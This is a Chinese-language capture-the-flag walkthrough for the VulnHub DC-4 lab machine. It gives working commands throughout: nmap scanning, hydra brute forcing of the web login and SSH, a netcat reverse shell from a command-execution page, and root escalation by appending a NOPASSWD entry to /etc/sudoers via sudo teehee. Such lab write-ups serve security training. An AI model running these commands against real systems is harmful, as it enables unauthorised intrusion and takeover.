一、靶机下载地址
https://www.vulnhub.com/entry/dc-4,313/
二、信息收集
1、主机发现
# 使用命令
nmap 192.168.145.0/24 -sn | grep -B 2 "00:0C:29:43:49:A5"
2、端口扫描
# 使用命令
nmap 192.168.145.217 -p- -sV
3、指纹识别
# 使用命令
whatweb "http://192.168.145.217"
4、目录扫描
# 使用命令
dirsearch -u "http://192.168.145.217"
三、获取shell
1、访问靶机IP地址，发现登录框界面
2、爆破密码，账号和密码为admin:happy
# 使用命令
hydra -l admin -P rockyou.txt 192.168.145.217 http-post-form "/login.php:username=^USER^&password=^PASS^:S=logout" -F
-l admin：指定用户名为 admin。
-P rockyou.txt：指定密码字典为当前目录下的 rockyou.txt。
192.168.1.165：指定要攻击的服务器 IP 地址。
http-post-form：指定使用 HTTP POST 请求方式。
"/login.php:username=^USER^&password=^PASS^:S=logout"：指定登录页面地址 /login.php，并使用 username 和 password 作为参数名来传递用户名和密码。其中 ^USER^ 和 ^PASS^ 含义为在暴力破解过程之中将要用到的用户名和密码，而 :S=logout 则是指当程序返回值为 logout 时，认为破解成功并退出程序。
-F：如果成功的话，停止猜测其他密码。
3、尝试使用爆破出来的密码进行登录，登录成功
4、点击页面上的commend--->Run时，点击抓包，发现是命令执行
5、查看/etc/passwd文件，执行成功
6、执行反弹shell的语句并且kali开启监听
# 使用命令
nc+-e/bin/bash+192.168.145.213+1234
# 监听
nc -lvnp 1234
7、成功反弹到sehll
8、输入以下命令获得交互式shell
# 使用命令
python3 -c 'import pty;pty.spawn("/bin/bash")'
四、提权
1、输入sudo -l命令查看可执行的命令，发现需要密码
2、经过翻找发现jim目录下有密码字典
3、将字典下载下来，使用hydra进行破解
# 靶机开启临时服务
python3 -m http.server
# kali下载
wget http://192.168.145.217:8000/old-passwords.bak
# hydra爆破
hydra -l jim -P old-passwords.bak ssh://192.168.145.217
4、使用ssh进行连接
# 使用命令
ssh jim@192.168.145.217
5、说是有一封信，在/var/mail，发现账号和密码charles：^xHhA&hvim0y
# 使用命令
cd /var/mail
cat jim
6、切换到charles用户
# 使用命令
su charles
7、输入sudo -l查看可执行命令
8、teehee是个小众的linux编辑器。如果有sudo权限。可以利用其来提权，提权成功
# 使用命令
echo 'charles ALL=(ALL:ALL) NOPASSWD:ALL' | sudo teehee -a /etc/sudoers
sudo su
